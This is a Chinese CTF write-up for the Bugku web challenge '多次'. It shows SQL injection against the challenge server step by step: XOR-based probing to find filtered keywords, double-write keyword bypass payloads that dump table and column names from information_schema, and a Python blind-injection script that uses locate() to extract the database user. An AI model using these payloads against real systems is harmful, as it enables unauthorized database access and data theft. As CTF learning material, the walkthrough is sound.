bugku_web_多次

这道题好难啊、、、多谢大佬的wp

整个页面没有任何可以入手的地方,再看URL:http://120.24.86.145:9004/1ndex.php?id=1

太明显的SQL注入了,然后给id多赋值几次,会发现作者又在各种忽悠我们,不过等到id=5的时候他告诉我们"You can do some SQL injection in here."

然后开始各种注入测试啊:

  1、加上一个单引号

  http://120.24.86.145:9004/1ndex.php?id=1'

  ——报错(注意,一定要是英文的单引号哦!)

  2、加上一个单引号和%23

  http://120.24.86.145:9004/1ndex.php?id=1'%23

  ——不报错

  3、加上一个单引号和and 1=1和%23

  http://120.24.86.145:9004/1ndex.php?id=1' and 1=1%23

  ——又报错了

原因分析:肯定是过滤了什么,但我们不知道过滤的是什么,所以使用异或查询。

异或查询:

  1、使用:在id=1后面加上'^(str)^'  str是由我们定义的命令

  2、原理分析:

    id=1为真,如果它异或一个假,那就返回真,整个页面也就正常;反之,如果它异或一个真,那就返回假,这个页面也就不正常

    所以,如果页面正常与否和命令的真值是相反的——页面正常,命令的真值为假;页面不正常,命令才为真

  3、简单实验:

    a.?id=1'^(0)^'  页面正常

    b.?id=1'^(1=1)^'  页面不正常

    //注意:输入URL的时候单引号一定要是英文的!!!小心输入法的坑!

  4、应用:

    如果我们把括号里的内容换成  length(‘union’)!=0 

    页面返回正常,那么str就是假的,也就是说'union'这个字符串的长度为0,那么就是被过滤掉了

    总之,如果页面正常,那么该字符串就被过滤掉了,如果出错,那就是没被过滤掉。

异或注入检测之后发现:union,select,and,or被过滤掉了;limit,from没有被过滤掉

构造payload:

?id=1' aandnd 1=2 uunionnion selselectect 1,2%23

发现在2的位置上会有回显,所以我们素质三连它:

1、爆表名:

?id=1' aandnd 1=2 uunionnion selselectect 1,(selecselectt table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1)%23

2、爆列名:

  a.爆第一个列名

  ?id=1' aandnd 1=2 ununionion seselectlect 1,(selecselectt column_name from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' limit 0,1)%23

  得到flag1,接下来我们去爆这个字段名就可以得到第一个flag啦!

  b.爆第二个库名

?id=1' aandnd 1=2 ununionion seselectlect 1,(selecselectt column_name from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' limit 1,1)%23

  得到了adress,那第2个flag一定和它有关,所以我们不妨也把它的字段爆出来

经过爆破,我们得到了第一个flag和一个地址:./Once_More.php

又是一个SQL注入,

继续素质好几连:

id=1'  报错

id=1'%23  不报错

id=1' and 1=1%23  不报错

id=1' and 1=2%23  报错

id=1' and 1=2 union select 1,2%23  根据显示出来的东西,发现它会过滤

既然它会有所输出,那我就把所有的要用到的字符都输进去,看看它会怎么样

id=1 union select limit from and or where if sleep substr ascii

发现union sleep substr都不能用了

剩下的我实在是不会了,只能借鉴大佬的了:

那就是不能回显,substr也不能用了

我这里用了一个不常用的函数locate()
直接判断查出来的数据里面有那些字符,然后将它们按顺序排序

def user():
    flag =''
    for j in xrange(1, 100):
        temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
        key = 0
        for i in temp:
            url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select user()),"+str(j)+"))="+str(j)+"%23"
            r1 = rs.get(url)
            # print url
            if "Hello" in r1.text:
                print str(i)+" -----"+str(j)
                flag += str(i)
                key = 1
        if key ==0:
            print "[*] : " + flag
            break 

  鸣谢:https://www.cnblogs.com/nienie/p/8524519.html



    

原文地址:https://www.cnblogs.com/huangming-zzz/p/9737539.html